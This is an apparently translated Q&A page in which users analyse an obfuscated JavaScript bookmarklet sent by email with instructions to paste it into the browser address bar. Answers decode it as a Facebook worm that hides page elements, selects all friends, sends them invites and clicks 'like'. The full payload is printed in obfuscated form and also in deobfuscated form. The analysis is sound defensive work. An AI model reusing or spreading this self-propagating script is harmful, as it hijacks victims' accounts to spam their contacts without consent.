这段混淆的 JavaScript 代码有什么作用?

问题描述 投票:0回答:3

好吧,一个恰好是我的好朋友的人最近给我发了一些奇怪的电子邮件,其中一封是一个页面链接,要求您将其复制并粘贴到浏览器的地址栏中,然后执行它......

javascript:(function(){a='app125879300771588_jop';b='app125879300771588_jode';ifc='app125879300771588_ifc';ifo='app125879300771588_ifo';mw='app125879300771588_mwrapper';var _0xc100=["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79","\x73\x74\x79\x6C\x65","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x68\x69\x64\x64\x65\x6E","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x76\x61\x6C\x75\x65","\x63\x6C\x69\x63\x6B","\x73\x75\x67\x67\x65\x73\x74","\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C","\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D","\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70","\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67","\x6C\x69\x6B\x65\x6D\x65"];d=document;d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]]=_0xc100[3];d[_0xc100[2]](a)[_0xc100[4]]=d[_0xc100[2]](b)[_0xc100[5]];d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();setTimeout(function (){fs[_0xc100[8]]();} ,5000);setTimeout(function (){SocialGraphManager[_0xc100[11]](_0xc100[9],_0xc100[10]);} ,5000);setTimeout(function (){d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();d[_0xc100[2]](ifo)[_0xc100[4]]=d[_0xc100[2]](ifc)[_0xc100[5]];} ,5000);})();

当涉及到低级编程时,我不完全同意,我很好奇这封电子邮件在这里问什么......

请不要运行此代码,除非您确信它不会破坏任何内容。

但是...有人能告诉我它有什么作用吗?

javascript
3个回答
13
投票

我还没有完全解码代码,但这里有一些提示。

变量

_0xc100
定义了一个字符串数组。字符被编码为十六进制,因此更难以阅读。例如,\x76 等于“v”。

您可以安全地

alert(_0xc100);
以纯文本形式查看它。

var _0xc100 = ["\x76\x69\x73\x69\x62\x69\x6C\x69\x74\x79", 
      "\x73\x74\x79\x6C\x65", 
      "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
      "\x68\x69\x64\x64\x65\x6E",
      "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
      "\x76\x61\x6C\x75\x65",
      "\x63\x6C\x69\x63\x6B",
      "\x73\x75\x67\x67\x65\x73\x74",
      "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
      "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
      "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
      "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67",
      "\x6C\x69\x6B\x65\x6D\x65"];

转换为包含这些关键字的数组

visibility, style, getElementById, hidden, innerHTML, value, click, suggest, select_all,
sgm_invite_form, /ajax/social_graph/invite_dialog.php, submitDialog, likeme

现在,以下语句(不执行那些)使用这些关键字来实际执行函数。

例如:

d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3];

相当于(

d
定义为
document
mw
定义在顶部)

document.getElementById("app125879300771588_mwrapper").style.visibility = "hidden";

隐藏了一个名为

app125879300771588_mwrapper

的元素

以下说明给出

document.getElementById("app125879300771588_jop").innerHTML = document.getElementById("app125879300771588_jode").value;

app125879300771588_jop
的内容复制到
app125879300771588_jode

document.getElementById("suggest").click();

我猜点击了一些“建议”按钮。

最后设置了3个setTimeout函数,5秒后执行3条命令(即5000)

他们翻译成

setTimeout(function () {
    select_all();
     }, 5000);

我认为选择了你所有的朋友......

setTimeout(function () 
    {
    SocialGraphManager.submitDialog("sgm_invite_form", "/ajax/social_graph/invite_dialog.php");
    }, 5000);

...向他们发送邀请

setTimeout(function () 
    {
    document.getElementById("likeme").click();
    document.getElementById("app125879300771588_ifo").innerHTML =
       document.getElementById("app125879300771588_ifc").value;
    }, 5000);

...并按下“赞”按钮

请注意,我不使用 Facebook,我不知道它的来龙去脉,但我想很明显这段代码是恶意的。


13
投票
a = 'app125879300771588_jop';
b = 'app125879300771588_jode';
ifc = 'app125879300771588_ifc';
ifo = 'app125879300771588_ifo';
mw = 'app125879300771588_mwrapper';
var _0xc100 = ["visibility", "style", "getElementById", "hidden", "innerHTML", "value", "click", "suggest", "select_all", "sgm_invite_form", "/ajax/social_graph/invite_dialog.php", "submitDialog", "likeme"];
d = document;
d[_0xc100[2]](mw)[_0xc100[1]][_0xc100[0]] = _0xc100[3];
d[_0xc100[2]](a)[_0xc100[4]] = d[_0xc100[2]](b)[_0xc100[5]];
d[_0xc100[2]](_0xc100[7])[_0xc100[6]]();
setTimeout(function () {
    fs[_0xc100[8]]();
}, 5000);
setTimeout(function () {
    SocialGraphManager[_0xc100[11]](_0xc100[9], _0xc100[10]);
}, 5000);
setTimeout(function () {
    d[_0xc100[2]](_0xc100[12])[_0xc100[6]]();
    d[_0xc100[2]](ifo)[_0xc100[4]] = d[_0xc100[2]](ifc)[_0xc100[5]];
}, 5000);

这很可能是许多 Facebook 蠕虫病毒之一的改编版,它将自身发送给您所有的朋友。

查看这里类似的问题。

此版本的其他版本使用 p.a.c.k.e.r 进行混淆,并且可以通过通过 http://jsbeautifier.org/

运行 p.a.c.k.e.r 代码来轻松反混淆。

4
投票

这是一个混淆小书签。您可以(仔细地)取消混淆它以查看它将运行的实际 Javascript。不过,如果您没有强烈的需求,可能不值得打扰。我会把它扔进垃圾桶,然后和我的朋友核实一下,看看它是否真的来自他/她,如果是,为什么。

© www.soinside.com 2019 - 2024. All rights reserved.